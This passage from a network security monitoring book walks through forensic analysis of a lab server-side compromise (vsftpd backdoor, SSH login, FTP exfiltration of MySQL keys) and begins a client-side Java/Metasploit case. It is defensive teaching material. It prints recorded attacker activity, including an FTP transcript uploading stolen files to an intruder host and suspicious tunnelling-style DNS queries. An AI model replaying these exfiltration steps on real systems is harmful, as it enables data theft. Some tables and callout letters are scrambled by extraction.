We can see that the intruder tried the same smiley face attack u against an FTP server v and w on 192.168.3.13 x, but that he received a rude Login incorrect error y in return. The attack failed. Furthermore, according to the NSM session data, no connections were made to port 6200 TCP on 192.168.3.13, which tells us that 192.168.3.13 was not affected by this attack. Now we must determine what else may have happened to 192.168.3.5. We saw the intruder connect to the FTP server and interact with a backdoor. Did he do anything beyond that? To answer this question, we run a new session data query for all sessions involving the victim 192.168.3.5, as shown in Listing 10-11. The results are shown in Figure 10-11. WHERE sancp.start_time > '2013-03-09' AND sancp.src_ip = INET_ ATON('192.168.3.5') AND dst_port!=137 AND dst_port!=138 Listing 10-11: Search syntax for session data involving 192.168.3.5

When running this query, I added commands to ignore ports 137 and 138 because when I first reviewed the data, I saw many irrelevant session records for these Windows services. Because they are not germane to this incident, I’ve removed them from the output shown in Figure 10-11.

Server-side Compromise

223

Figure 10-11: Session data for 192.168.3.5

We’ve seen some of this activity in earlier results, but our focus here is 192.168.3.5, not 203.0.113.10. The most interesting new records involve two new IP addresses in the 203.0.113.0/24 net block: 203.0.113.77 and 203.0.113.4. These two IP addresses appear in the session records beginning at 2013-03-10 01:59:43. Apparently, our original intruder is either cooperating with colleagues or he controls those systems! I recommend creating at least notional diagrams of systems involved in NSM when trying to understand the scope of an incident. You will not identify all of the infrastructure between victim systems and remote attackers, but depicting them visually can help you better recognize what is happening in real-world cases. Figure 10-12 summarizes our current understanding of all of the systems involved in this case.

Exploring the Session Data Let’s consider the new sessions unearthed by querying the victim IP address to determine the scope of the incident, bearing in mind this simple rule: The only constant in an intrusion is the victim. Intruders may try to obfuscate their activities by changing attacking systems, hopping from attacking platform to attacking platform; incident responders who fixate on attacker IP addresses will miss these jumps. Keep the victim in mind, and you won’t be fooled.

224

Chapter 10

Intruder 1 203.0.113.10

Internet NSM

Intruder 2 203.0.113.77

Intruder 3 203.0.113.4

Test Network Tap

Server 192.168.3.5

Desktop 192.168.3.13

Figure 10-12: Systems observed in this case

Notice in Figure 10-11 that we start with the three DNS queries made by 192.168.3.5 beginning with 2013-03-09 21:40:35. We could use the Sguil console to try to generate Wireshark output for each session in order to see the queries and replies, but instead, we’ll refer to DNS logs captured by Bro, stored in the /nsm/bro/logs/2013-03-09 directory. As you’ll see, the Bro logs are a form of transaction data and metadata.

Searching Bro DNS Logs There are many ways to search Bro DNS logs for specific entries. One simple way is from the command line, as shown in Listing 10-12. $ zcat dns.21\:31\:10-22\:00\:00.log.gz | bro-cut -d | grep 192.168.3.5 grep -v WORKGROUP -- snip -2013-03-09T21:40:35+0000 k3hPbe4s2H2 192.168.3.5u 60307 192.168.3.1 53 udp 40264 2.3.168.192.in-addr.arpaw C_INTERNET 12 PTRv F F T 0 -2013-03-09T21:47:08+0000 i1zTu4rfvvk 192.168.3.5x 36911 192.168.3.1 53 udp 62798 www.google.comz 1 C_INTERNET 1 A F F T 0 2013-03-09T21:47:18+0000 H5Wjg7kx02d 192.168.3.5y 49467 192.168.3.1 53 udp 32005 www.google.com.localdomain{ C_INTERNET 1 A F F T 0 --

|

1 F

F

1 F

Listing 10-12: DNS records logged by Bro Server-side Compromise

225

First, we use zcat, because the Bro log is gzip-compressed. Next, we pipe the result into bro-cut with the -d switch, which converts Bro’s native Unix epoch time format into a human-readable version. We then grep for the IP address of the victim, 192.168.3.5, followed by a grep to ignore (using the -v switch) any records containing WORKGROUP. Bro’s log contains DNS queries and replies, as well as logs of NetBIOS name service traffic, which we remove with bro-cut -d. By default, that syntax omits the headers for these records. As you can see in Listing 10-12, 192.168.3.5 u queried for a PTR record v for 2.3.168.192.in-addr.arpa w, which is probably not related to the intrusion. Then seven minutes later, the system x y queried for www.google.com z and www.google.com.localdomain {. These last two DNS queries correspond to the intruder’s attempt to ping www.google.com. Seeing the header in Bro logs can help us better understand them. One way to see header data is to avoid piping the output through bro-cut. Instead, limit the output using the head command, as shown in Listing 10-13. $ zcat dns.21\:31\:10-22\:00\:00.log.gz #separator \x09 #set_separator , #empty_field (empty) #unset_field #path dns #open 2013-03-09-21-31-10 #fields ts id.resp_p qtype_name answers #types count count

uid proto rcode TTLs

time string string count vector[string]

id.orig_h trans_id rcode_name

| head

id.orig_p query qclass AA TC

addr port addr string count string vector[interval]

port bool

id.resp_h qclass_name RD RA

qtype Z

enum bool

string bool

count bool

Listing 10-13: Fields and datatypes in the Bro DNS log

Searching Bro SSH Logs Following the three DNS entries, Figure 10-11 shows 203.0.113.77 pinging 192.168.3.5 via IP protocol 0, ICMP. This is the first traffic we’ve seen from 203.0.113.77. The next record shows traffic from 203.0.113.77 to port 22 TCP on 192.168.3.5. This is likely SSH traffic, which we can confirm by looking at full content data or by checking a few Bro logs. For example, in the 2013-03-10 directory, we see the entry shown in Listing 10-14 in ssh.log. (Note that in order to see the headers for the fields, we omit using bro-cut, as we did for Listing 10-13.) The listing shows the entire log since it contains only one entry of interest.

226

Chapter 10

$ zcat ssh.02\:03\:29-03\:00\:00.log.gz | bro-cut -d 2013-03-10T02:01:10+0000 8zAB2nsjjYd 203.0.113.77u 65438 192.168.3.5v 22 success INBOUND SSH-2.0-OpenSSH_5.8p2_hpn13v11 FreeBSD-20110503 SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1 16678 AU Listing 10-14: SSH connection logged by Bro

Listing 10-14 shows 203.0.113.77 u connected via SSH to 192.168.3.5 v. To understand the rest of the fields, we need to know the headers for the logfile. Listing 10-15 shows the headers in a Bro SSH log followed by the same SSH record for 203.0.113.77 connecting to 192.168.3.5. $ zcat ssh.02\:03\:29-03\:00\:00.log.gz #separator \x09 #set_separator , #empty_field (empty) #unset_field #path ssh #open 2013-03-10-02-03-29 #fields ts uid id.orig_h id.orig_p id.resp_p status direction client server remote_location.country_code remote_location.region remote_location.latitude remote_location.longitude

id.resp_h resp_size remote_location.city

#types string

string

time count

string string

addr string

port string

addr double

port double

enum

string

1362880870.544761 8zAB2nsjjYd 203.0.113.77 65438 192.168.3.5 22 success INBOUND SSH-2.0-OpenSSH_5.8p2_hpn13v11 FreeBSD-20110503u SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1v 16678 AU #close 2013-03-10-03-00-00 Listing 10-15: SSH connection logged by Bro, with headers

The client and server fields are the most interesting. The client is listed as SSH-2.0-OpenSSH_5.8p2_hpn13v11 FreeBSD-20110503 u, and the server is SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1 v. While you can easily identify the server version of SSH because you own the system, the information that the client (the intruder) runs FreeBSD may be interesting. Knowing the exact version of OpenSSH on the client (again, the intruder) may also help you to attribute the attack or to correlate it with other incident data. Unfortunately, the contents of the SSH session are encrypted, meaning that you can’t decipher them using network-centric means. If the system had a host-centric tool like OSSEC installed, you might have had data available from the local system for inspection, but the session records show the SSH session beginning at 2013-03-10 02:01:10 and terminating at 02:03:24. Can we tell what the intruder did in this encrypted session? The last few session records help answer that question. Server-side Compromise

227

Searching Bro FTP Logs At 2013-03-10 02:02:50 in Figure 10-11, we see an outbound FTP session from 192.168.3.5 to 203.0.113.4. If this is truly an FTP session, we should be able to build a transcript to see the contents. We can also quickly check the Bro FTP log, as shown in Listing 10-16. $ zcat ftp.02\:03\:11-03\:00\:00.log.gz #separator \x09 #set_separator , #empty_field (empty) #unset_field #path ftpv #open 2013-03-10-02-03-11 #fields ts uid id.resp_p user desc file_size extraction_file

id.orig_h password reply_code

id.orig_p command arg reply_msg

#types string

addr count

addr string

time string

string string

port count

id.resp_h mime_type tags

port string table[string]

string file

mime_

string

1362880986.113638 FVmgKldpQO5 192.168.3.5w 32904 203.0.113.4x 21 orr

STOR ftp://203.0.113.4/./ mysql-ssl.tar.gzu application/x-gzip gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT) 226 Transfer complete. #close

2013-03-10-03-00-00

Listing 10-16: Bro FTP log

Here, we see that someone successfully transferred a file titled mysql-ssl.tar.gz u via FTP v from 192.168.3.5 w to 203.0.113.4 x. The transcript shows a little more information, as shown in Listing 10-17. Sensor Name: Timestamp: Connection ID: Src IP: Dst IP: Src Port: Dst Port: OS Fingerprint: OS Fingerprint: DST: DST: SRC: SRC: DST: DST: SRC:

228

Chapter 10

sovm-eth1 2013-03-10 02:02:50 .sovm-eth1_1362880970000002980 192.168.3.5 (Unknown) 203.0.113.4 (Unknown) 32904 21 192.168.3.5:32904 - Linux 2.6 (newer, 1) (up: 5 hrs) -> 203.0.113.4:21 (distance 0, link: ethernet/modem)

220 freebsdvmw FTP server (Version 6.00LS) ready. USER orrv 331 Password required for orr. PASS bobbyu

SRC: DST: DST: SRC: SRC: DST: DST: SRC: SRC: DST: DST: SRC: SRC: DST: DST: SRC: SRC: DST: DST:

230 User orr logged in. SYST 215 UNIX Type: L8 Version: BSD-199506x TYPE I 200 Type set to I. PORT 192,168,3,5,128,244 200 PORT command successful. STOR mysql-ssl.tar.gz 150 Opening BINARY mode data connection for 'mysql-ssl.tar.gz'.

Listing 10-17: Transcript of intruder FTP command channel to 203.0.113.4

I like this guy. His password is bobby u, and his username is orr v. This FTP server is running on a system that identifies itself as freebsdvm w, with UNIX Type L8 Version: BSD-199506 x. Again, we could use this information to possibly link this case with others, if appropriate. We don’t know what the intruder did to acquire the contents of this file. Can we determine what’s in it?

Decoding the Theft of Sensitive Data In fact, we can retrieve the mysql-ssl.tar.gz archive by virtue of the full content data collection performed by our NSM platform. We’ll derive extracted content data from full content data using the tool that Sguil uses to rebuild transcripts, called Tcpflow (https://github.com/simsong/tcpflow). Jeremy Elson wrote the first version of Tcpflow, but in recent years Simson Garfinkel has assumed responsibility for the project. Tcpflow reconstructs TCP sessions. For example, in Listing 10-18, we tell Tcpflow to rebuild all TCP sessions involving port 20, the TCP port used for the active FTP data channel shown in the session records. $ tcpflow -r /nsm/sensor_data/sovm-eth1/dailylogs/2013-03-10/snort.log.1362873602 port 20u $ lsv 192.168.003.005.33012-203.000.113.004.00020w 203.000.113.004.00020-192.168.003.005.56377x report.xmly $ file *z 192.168.003.005.33012-203.000.113.004.00020{: gzip compressed data, from Unix, last modified: Sun Mar 10 02:02:23 2013 203.000.113.004.00020-192.168.003.005.56377|: ASCII text, with CRLF line terminators report.xml: XML document text

Server-side Compromise

229

$ cat 203.000.113.004.00020-192.168.003.005.56377 total 1936 drwxr-xr-x 2 orr orr 512 Mar 9 21:03 . drwxr-xr-x 4 root wheel 512 Mar 9 20:47 .. -rw-r--r-- 1 orr orr 1016 Mar 9 20:47 .cshrc -rw-r--r-- 1 orr orr 254 Mar 9 20:47 .login -rw-r--r-- 1 orr orr 165 Mar 9 20:47 .login_conf -rw------- 1 orr orr 381 Mar 9 20:47 .mail_aliases -rw-r--r-- 1 orr orr 338 Mar 9 20:47 .mailrc -rw-r--r-- 1 orr orr 750 Mar 9 20:47 .profile -rw------- 1 orr orr 283 Mar 9 20:47 .rhosts -rw-r--r-- 1 orr orr 980 Mar 9 20:47 .shrc -rw-r--r-- 1 orr orr 915349 Mar 9 21:03 mysql-ssl.tar.gz} Listing 10-18: Tcpflow reconstruction of sessions involving port 20

Listing 10-18 first shows how to run Tcpflow against an interesting trace, with a BPF limiting reconstruction to traffic involving port 20 u. Next, we see the output of the Tcpflow reconstruction in the form of a directory listing v. The output shows two sides of the network session, in the form of two files, w and x, and a report.xml file y describing what Tcpflow did. Next, we use the file z command to show the type of each of those files.

Extracting the Stolen Archive

The file 192.168.003.005.33012-203.000.113.004.00020 { is a gzip archive transferred during the FTP session. The file 203.000.113.004.00020-192 .168.003.005.56377 | is an ASCII text file, corresponding to a directory listing returned from the FTP server to the client 192.168.3.5. This directory listing was transferred after the intruder copied mysql-ssl.tar.gz to the server. This confirms the successful transfer of mysql-ssl.tar.gz }, because that file is now listed and stored on an FTP server controlled by the intruder. This could be bad news for Vivian’s Pets, if that file is a sensitive archive. Thanks to capturing full content data, we also have a copy of mysql-ssl .tar.gz at our disposal. The gzip archive represented by file 192.168.003.005 .33012-203.000.113.004.00020 { is likely the mysql-ssl.tar.gz file stolen by the intruder. We extract it using the tar program, as shown in Listing 10-19. As you can see, it appears to contain the keys associated with a MySQL server. $ tar -xzvf 192.168.003.005.33012-203.000.113.004.00020 mysql-ssl/ mysql-ssl/yassl-1.9.8.zip mysql-ssl/my.cnf mysql-ssl/mysqld.gdb mysql-ssl/mysql-keys/ mysql-ssl/mysql-keys/server-cert.pem mysql-ssl/mysql-keys/ca-cert.pem mysql-ssl/mysql-keys/client-req.pem mysql-ssl/mysql-keys/server-key.pem

230

Chapter 10

mysql-ssl/mysql-keys/server-req.pem mysql-ssl/mysql-keys/client-key.pem mysql-ssl/mysql-keys/client-cert.pem mysql-ssl/mysql-keys/ca-key.pem Listing 10-19: Contents of the mysql-ssl.tar.gz archive stolen by the intruder

With this data in hand, the Vivian’s Pets CIRT must summarize what has happened in order to fully understand the intrusion.

Stepping Back At this point in the NSM process, the CIRT should consider what it understands about the intrusion before making recommendations to business owners. Using illustrations to depict what has happened at each stage is a helpful analytical step.

Summarizing Stage 1 Figure 10-13 summarizes the first few phases of this intrusion, which we can call stage 1. 1. Intruder conducts reconnaissance against two potential victims. Victim 1 192.168.3.5

NETWORK SCANNING Intruder 1 203.0.113.10

Victim 2 192.168.3.13 2. Intruder exploits vsftpd service on Victim 1. NETWORK CONNECTION

Intruder 1 203.0.113.10

Victim 1 192.168.3.5 Exploited

3. Intruder connects to backdoor on Victim 1. NETWORK CONNECTION Intruder 1 203.0.113.10

Victim 1 192.168.3.5

4. Intruder fails to exploit vsftpd service on Victim 2. NETWORK CONNECTION Intruder 1 203.0.113.10

Victim 2 192.168.3.13 Safe

Figure 10-13: Stage 1 of server-side compromise

Server-side Compromise

231

In stage 1, the intruder at 203.0.113.10 conducted network reconnaissance against two computers: 192.168.3.5 and 192.168.3.13. The intruder found port 21 TCP listening on both systems, so he attempted to compromise that service on both targets. He successfully compromised the vsftpd server on 192.168.3.5, causing a backdoor to open on port 6200 TCP on that system. He was not able to use the same technique to gain unauthorized access to 192.168.3.13.

Summarizing Stage 2 Figure 10-14 summarizes the remainder of this intrusion, called stage 2. 5. Intruder 2 connects via SSH to Victim 1. SSH CONNECTION Victim 1 192.168.3.5

Intruder 2 203.0.113.77

6. Intruder 2 instructs Victim 1 to upload stolen data to FTP server on Intruder 3. SSH CONNECTION Intruder 2 203.0.113.77 FTP CONNECTION Intruder 3 203.0.113.4

Victim 1 192.168.3.5

Figure 10-14: Stage 2 of server-side compromise

In stage 2, a new intruder IP address, 203.0.113.77, connects via SSH to 192.168.3.5. While interacting with the victim, the intruder created or discovered an archive titled mysql-ssl.tar.gz. He then uploaded that archive via FTP to a third system, 203.0.113.4, which may be another FreeBSD system.

Next Steps As explained in Chapter 9, escalation and resolution are the two phases following the collection and analysis phases of the NSM workflow. With analysis complete, the CIRT must identify the owners of the affected systems, and explain the nature of the data identified as being stolen. In turn, the asset owner must evaluate the impact of the loss of data and simultaneously authorize the CIRT to take short-term incident containment measures. The most effective containment mechanism involves removing the compromised systems from the network. First, disconnect 192.168.3.5 from the network. We should consider it untrustworthy because we don’t know what the intruder did during his encrypted OpenSSH session. The CIRT should also determine if any information on 192.168.3.5 is sensitive, to help decide whether this event qualifies as a Breach 2 or Breach 1 incident. The differentiation lies in the importance and sensitivity of the stolen data. 232

Chapter 10

The CIRT should determine if any information taken from 192.168.3.5 could lead to other intrusions. Are there any accounts that could also be used to log in to other Vivian’s Pets systems? Are there configuration files that would enable additional access? Are any business partners or customers at risk? Involving the business, legal, and other teams may become necessary as the CIRT evaluates the impact of the intrusion. Ultimately, 192.168.3.5 should be retired because it is no longer a trustworthy platform. This could be a hard lesson for the IT and security staff: When the Metasploitable developers warn users to keep their distribution off the Internet, they mean it!

Conclusion This chapter walked through a server-side compromise. We utilized several forms of NSM data to analyze an intrusion targeting two systems in the Vivian’s Pets test network. By examining alert, session, full content, transaction, and extracted content data, we learned that an intruder stole system information and a compressed archive associated with MySQL. We also learned that NSM data can’t answer every question by itself. Once the intruder leveraged stolen credentials (via the /etc/passwd and /etc/ shadow files) to connect via OpenSSH, we couldn’t see the commands he ran, although we could see derivative actions like uploading an archive via FTP. Using an NSM tool bundled with Sguil, we rebuilt the stolen archive, although we could have done the same sort of reassembly using Wireshark or another tool. This case introduced the idea of patterns of attack and how to analyze them using NSM tools and methods. In the next chapter, we’ll turn the tables slightly and review a client-side compromise.

Server-side Compromise

233

11 C L I E N T- S I D E C O M P R O M I S E

In the previous chapter’s examples, an intruder conducted reconnaissance against remote targets, identified services, and attacked them. After gaining access to one system with a vulnerable service, the intruder archived files of interest and exfiltrated them to a remote server. All of this activity took place without the explicit involvement of a user on the Vivian’s Pets network. This chapter demonstrates a client-side compromise—one of the other major categories of malicious network activity you are likely to encounter. Although this incident involves remote systems, the intruder does not initiate the attack in the same manner as in a server-side compromise. We will use similar NSM methodologies to detect and respond to the intrusion.

Client-side Compromise Defined Client-side compromise involves an intruder exploiting an application with which a user interacts. This application could be a web browser, email client, media player, or any other program that users rely on for access to network resources. An attacker might trick a user into visiting a compromised site and revealing her credentials, or he might simply position himself to take advantage of a routine that the user follows. Client-side attacks have been popular since the mid-2000s, when attackers realized that if they could convince a user application to execute (or be subject to) malicious code, their attacks would be more likely to succeed. Many organizations devote resources and expertise to countering server-side attacks, but client-side attacks are much more difficult to stop or even detect. Figure 11-1 shows a generic attack pattern for a client-side compromise. 1. Victim executes malicious code on system, after being solicited by intruder or by innocent computer use. PHISHING EMAIL Intruder

Victim OR

Website hosting malicious code

WEBSITE VISIT Victim OR

Malicious code on social media or other site

SOCIAL MEDIA OR OTHER COMMUNICATION Victim

2. Attack method exploits vulnerable application on victim system to execute code or commands, or run an unwanted malicious application.

Exploited

NETWORK CONNECTION Intruder

Victim

3. Malicious code causes victim to reach back to intruder

Figure 11-1: Client-side compromise attack pattern

As you can see in Figure 11-1, three of the most popular client-side attacks involve phishing email, visiting websites, and interacting with social media. How is this possible?

236

Chapter 11

In all three attacks, an intruder creates an unsafe communication of some type. With a phishing email message, perhaps the intruder attaches a malicious executable, such as a document designed to exploit a vulnerable application like Microsoft Word or Adobe Reader. Phishing email messages or social media may also contain links to malicious websites operated by the intruder specifically to perform attacks. The target site could also be a completely legitimate one, such as a news or sports page, where an attacker has inserted malicious code that compromises those who visit the site. The latest variants of these attacks are called watering hole or strategic website compromise attacks. An intruder compromises a website that she expects her targets to visit, such as a human rights or think tank site. When interested parties visit the site, malicious code attacks them without their knowledge. These attacks are fairly devastating because they are not tightly targeted (the intruder can’t be sure that her intended prey will visit the website), but they can be very stealthy because victims surfing the Web normally are unwittingly caught in this trap. Client-side attacks can result in the same levels of access as server-side attacks (discussed in Chapter 10). An attempt to exploit a vulnerable application, regardless of whether it succeeds, is a Cat 3 incident. If the attack succeeds and the intruder achieves user-level access, the scenario now qualifies as a Cat 2 intrusion. If the intruder gains administrator- or root-level privileges, we must deal with a Cat 1 intrusion. Once the intruder establishes a command-and-control channel, it’s Breach 3. And if the intruder begins stealing data or taking other actions, we could be dealing with a Breach 2 or even a Breach 1 intrusion. (See Figure 9-5 on page 194 for intrusion category definitions.) Whatever the category, the goal of the CIRT is, as always, to quickly determine the extent of the incident and to take rapid actions to contain the attack and mitigate risk of data loss, alteration, or degradation.

Client-side Compromise in Action For this chapter’s example, we’ll look at a client-side compromise that takes place on the Vivian’s Pets network but involves different computers. To make the situation slightly more complicated, the activity in question will be monitored by an NSM sensor watching two segments. This is a configuration supported by SO and it seems like a good choice when the hardware in question can support the additional load. We’ll see if that decision is justified! The network appears as shown in Figure 11-2. With this sensor configuration, the NSM platform will see traffic both to and from the wireless network and the internal network. (I’ve completely simulated the network here in order to include the NAT issues discussed earlier in the book, but they do not play a major role.)

Client-side Compromise

237

Internet

Tap Wireless Network

Tap

Laptop 172.16.0.37

NSM

Internal Network

Figure 11-2: Wireless and internal network segments on Vivian’s Pets network

Getting the Incident Report from a User One afternoon the Vivian’s Pets CIRT receives a call from a concerned user. She reports logging in to Twitter and searching for messages to her username. She noticed a tweet from an unfamiliar username, Callbackpnsm, and the message was a little unsettling. The unknown tweet mentioned “updates to our health care plan” and provided a link to a site with healthcarenews in the URL. Curious, she copied and pasted the URL into her Firefox web browser to take a look. Figure 11-3 shows the suspicious tweet.

Figure 11-3: Tweet from Callbackpnsm

When an unknown or suspicious Twitter user sends a link to an unrecognized website, most security analysts become nervous. At this point, the Vivian’s Pets CIRT suspects that the unfortunate user has fallen for a

238

Chapter 11

client-side attack. The CIRT asks if the user recalls seeing anything suspicious after visiting the URL. The user replies that she saw something about a Java installation, and when she clicked through to learn about the health care update, all she saw was a blank page. The user became worried that something was wrong, so she decided to turn to the CIRT to get some help. The CIRT thanks the user for her report. It’s time to start investigating!

Starting Analysis with ELSA One way to begin the analysis process is to query logs for the IP address in the tweet. We’ll start with ELSA. Querying for the IP Address First, we’ll make sure that the ELSA query time frame begins before the user experienced the odd activity, and then we’ll add the IP address in question, 203.0.113.15, to the search bar. The results are shown in Figure 11-4.

Figure 11-4: Initial ELSA query results for 203.0.113.15

ELSA tells us that it has 244 records, but, by default, it limits itself to 100 results. The oldest entry appears first. The results are not encouraging, with mentions of malicious Java applet and Vulnerable Java Version 1.7.x Detected. Seeing 0day JRE 17 metasploit Exploit Class is even worse. Thankfully, we do now have the victim’s IP address: 172.16.0.37. Rather

Client-side Compromise

239

than scroll through multiple pages of output, we select the program element near the top of the screen to see a summary count of all data sources ELSA possesses for this IP address. Figure 11-5 shows the result.

Figure 11-5: ELSA displays data sources for logs for 203.0.113.15.

As you can see, Snort alerts dominate the results, although there are two HTTP records and one Bro connection log record. Checking the Bro HTTP Log Clicking the bro_http link provides the results shown in Figure 11-6.

Figure 11-6: ELSA displays Bro HTTP log records for 203.0.113.15.

These two events bear the same timestamp in ELSA, but the Bro timestamp shows that the top request happened first. That seems a little odd, given that it’s a request for healthcarenews/Exploit.jar.pack.gz. The second record, with a later timestamp, is for the healthcarenews page itself. Seeing a download for content titled Exploit.jar.pack.gz doesn’t inspire confidence. We need to find out what else happened to this victim system. Checking Snort Alerts Returning to the first open tab in ELSA, we notice the sig_msg link. Clicking this link creates a new tab with a summary count of each of the Snort alerts associated with 203.0.113.15, as shown in Figure 11-7. The summary of observed Snort signatures includes references to the Metasploit Meterpreter, including the core_channel and stdapi, with Command Request and Command Response for each. This is not encouraging either.

240

Chapter 11

Metasploit (http://www.metasploit.com/) is an open source reconnaissance and exploitation framework created by HD Moore and now supported by Rapid7 and a team of developers. The Meterpreter is a Metasploit payload, code used by an attacker after initially gaining access to a target using an exploit delivered by another Metasploit module. Terms like core_channel and stdapi refer to functions and features in the Metasploit suite, and Command Request and Command Response indicate communication between the attacker’s system and the victim.

Figure 11-7: ELSA displays a summary of Snort signatures for 203.0.113.15.

The intruder appears to have gained the ability to execute code on the victim via a Java exploit. Searching for Other Activity Next, we need to determine if this intruder interacted with any other systems. To accomplish that task, we return to the first tab with all the information for 203.0.113.15 and click the srcip link. ELSA tells us that only 203.0.113.15 and 172.16.0.37 have records associated with 203.0.113.15, but for good measure, we also click the dstip link and get the same results. That means we probably have a handle on all activity involving 203.0.113.15—that IP address did not communicate with any other system we watch. Still, that result doesn’t mean that no other activity affected the victim, 172.16.0.37. To investigate that lead, we run a new ELSA query for 172.16.0.37 and then click the program link to get a summary count of records. We need to know what other connections 172.16.0.37 conducted. Figure 11-8 shows the results. We take a similar approach to investigating these logs. First, we check out the Snort alerts, summarize them, and look for new information. Nothing new appears here, except we see Snort alerts for package management, probably due to system updates.

Client-side Compromise

241

Figure 11-8: ELSA displays data sources for logs for 172.16.0.37.

Next, we look at the dstip information and get results, as shown in Figure 11-9. (I’ve snipped the results to concentrate on the most pertinent information.)

Figure 11-9: ELSA displays a summary of dstip entries for 172.16.0.37.

One entry catches our attention. The bottom record shows 10.0.0.99, an IP address in the Vivian’s Pets internal network. That means there were five connections between 172.16.0.37 and 10.0.0.99. Are these legitimate? Could one or more be caused by an intruder abusing 172.16.0.37? Clicking the IP address 10.0.0.99 tells ELSA to query for records where 10.0.0.99 was the destination IP address and 172.16.0.37 was the source IP address. Figure 11-10 shows the results. These records show three SSH connections. All three appear in the Bro conn.log file, and two appear as “heuristic detections” in the Bro notice.log file. These connections could involve transfers of data via a program like Secure Copy (scp) or interactive logins using SSH. It’s probably worth looking for all activity involving 10.0.0.9, so we run a new query (not shown)

242

Chapter 11

for only that IP address, and group the results by program. They show 121 Snort alerts, 23 conn.log entries, 18 dns.log entries, 2 notice.log entries, and 1 http.log entry. Using the same investigative steps, we query each of the log types for anything interesting. All of the Snort alerts for 10.0.0.9 appear to be related to package management, as do the Bro log entries for the rest of the activity. Is that the end of the case? Was 172.16.0.37 the only victim, and the SSH connections to 10.0.0.9 normal business activity? Could our NSM platform have missed something?

Figure 11-10: ELSA displays Bro log records for source IP 172.16.0.37 and destination IP 10.0.0.9.

Looking for Missing Traffic At this point, we suspect that something may be wrong, and we want to make sure that the NSM platform is performing as expected. Is our system up to the task of watching two segments? Could it be dropping traffic? One way to answer these questions is to check Bro’s capture_loss.log, which reports on Bro’s packet-capture performance. Listing 11-1 shows the contents of the log at the time of this incident. $ cat /nsm/bro/logs/current/capture_loss.log #separator \x09 #set_separator , #empty_field (empty) #unset_field #path capture_loss #open 2013-03-16-15-02-50 #fields ts

ts_delta

peer

gaps

acks

percent_lost

#types

interval

string

count

count

string

time

Client-side Compromise

243

1363446165.986403 1363446165.992449 1363447065.986807 1363447065.992765

900.000429 900.000470 900.000404 900.000316

sovm-eth2-1 sovm-eth1-1 sovm-eth2-1 sovm-eth1-1

0 0 17963 0

0 0.000% 0 0.000% 19964 u89.977% 0 0.000%

Listing 11-1: Bro capture_loss.log

The second-to-last entry at u is shocking. It shows that Bro dropped 89.977 percent of the traffic seen on the second sniffing sensor interface. That could be devastating! (Bro may have run out of memory trying to track a lot of network activity on an underpowered sensor.) When monitoring a live interface, Bro must make decisions about which traffic to inspect and which traffic to ignore, simply to try to keep pace with the live packet stream. When run against a saved trace, Bro has more time for processing packets, perhaps offering a more thorough analysis. Remember that one of the tenets of NSM is to use multiple tools for collection and analysis, so if one tool fails, different sources of data may still help you determine what happened. Checking the /nsm/sensor_data/ sovm-eth2/dailylogs/2013-03-16 directory on the NSM platform, we find the 163MB snort.log.1363441680 file, which contains the full content data captured by Netsniff-ng on the SO NSM platform at the time of the incident. Because we have a copy of the original traffic on disk, we can run tools like Bro against it. Netsniff-ng was able to save the full trace because it was just logging packets straight to disk; it wasn’t doing any inspection or analysis, as Bro tried to do. To determine what Bro might have missed, we can rerun Bro against the full content data stored on the sensor. The results are shown in Listing 11-2. $ bro -r snort.log.1363441680 $ ls -al total 203008 drwxrwxr-x 3 sovm sovm 4096 drwxr-xr-x 30 sovm sovm 4096 -rw-rw-r-- 1 sovm sovm 59960 -rw-rw-r-- 1 sovm sovm 44624347 -rw-rw-r-- 1 sovm sovm 1328 -rw-rw-r-- 1 sovm sovm 1446 -rw-rw-r-- 1 sovm sovm 1128 -rw-rw-r-- 1 sovm sovm 251 -rw-r--r-- 1 sovm sovm 163155548 -rw-rw-r-- 1 sovm sovm 1066 drwx------ 3 sovm sovm 4096 -rw-rw-r-- 1 sovm sovm 1668

Mar Mar Mar Mar Mar Mar Mar Mar Mar Mar Mar Mar

16 16 16 16 16 16 16 16 16 16 16 16

15:54 15:53 15:54 15:54 15:54 15:54 15:54 15:54 15:53 15:54 15:54 15:54

. .. conn.log dns.logu http.log notice.log notice_policy.log packet_filter.log snort.log.1363441680 ssh.log .state weird.log

Listing 11-2: Running Bro manually against full content data

The large size of the dns.log file at u attracts our attention immediately. How is there a 44MB DNS log for a 163MB packet trace?

244

Chapter 11

Analyzing the Bro dns.log File We decide to browse the new dns.log file manually to see what it reveals. NOTE:

In early 2013, ELSA author Martin Holste added an import.pl script (https:// code.google.com/p/enterprise-log-search-and-archive/source/browse/ trunk/elsa/node/import.pl/) to ELSA to enable manual log additions. For this example, however, we will combine the earlier ELSA query method with manual log review, to demonstrate how analysts can use both techniques. We see many normal entries, and then a few that look odd. Listing 11-3 shows a few sample DNS log entries.

1363444304.701350 fOBMXgho3v5 10.0.0.99 40912 10453 daisy.ubuntu.comu 1 C_INTERNET 1 F T T 0 91.189.95.54,91.189.95.55{

198.51.100.3 53 udp Ay 0 NOERROR F 5.000000,5.000000

1363444390.148462 Vr7iTah4er6 10.0.0.99| 58566 470 labhl2pekjmnzoaoteostk4ms4xfhzma.practicalnsm.comv NULLz F F T F 0 -

203.0.113.8} 53 1 C_INTERNET

1363444390.147170 Vr7iTah4er6 58279 vaaaakat2v2.practicalnsm.comw F F T F 0 -

10.0.0.99| 58566 1 C_INTERNET -

203.0.113.8} 10 NULLz

53 -

udp -

1363444390.092180 Vr7iTah4er6 50552 yrb5fo.practicalnsm.comx 1 F T F 0 -

10.0.0.99| C_INTERNET -

203.0.113.8} NULLz -

53 -

udp F

58566 10

udp 10

Listing 11-3: Normal and suspicious entries in the Bro dns.log file

The first record for daisy.ubuntu.com u looks like a regular DNS query; someone wants to know the IP address for this site. But the second two records look odd. Why is someone querying for labhl2pekjmnzoaoteostk4ms4xfhzma .practicalnsm.com v, vaaaakat2v2.practicalnsm.com w, and yrb5fo.practicalnsm .com x? Also, unlike the first query for an A record y, these are NULL queries z, which serve no practical purpose. A query for an A record returns the IP address associated with a domain name. Bro logs the response to the A record query in the single DNS log {. Also note the source and destination IP addresses for these queries: 10.0.0.99 | and 203.0.113.8 }. The source IP address 10.0.0.99 was the system to which 172.16.0.37 connected three times via SSH. The destination IP address shares the same net block as 203.0.113.15, the computer hosting a malicious Java payload. Something odd is happening here. Then we notice other weird entries that also involve 10.0.0.99 and 203.0.113.8, as shown in Listing 11-4. These are NULL DNS records as well u.

Client-side Compromise

245

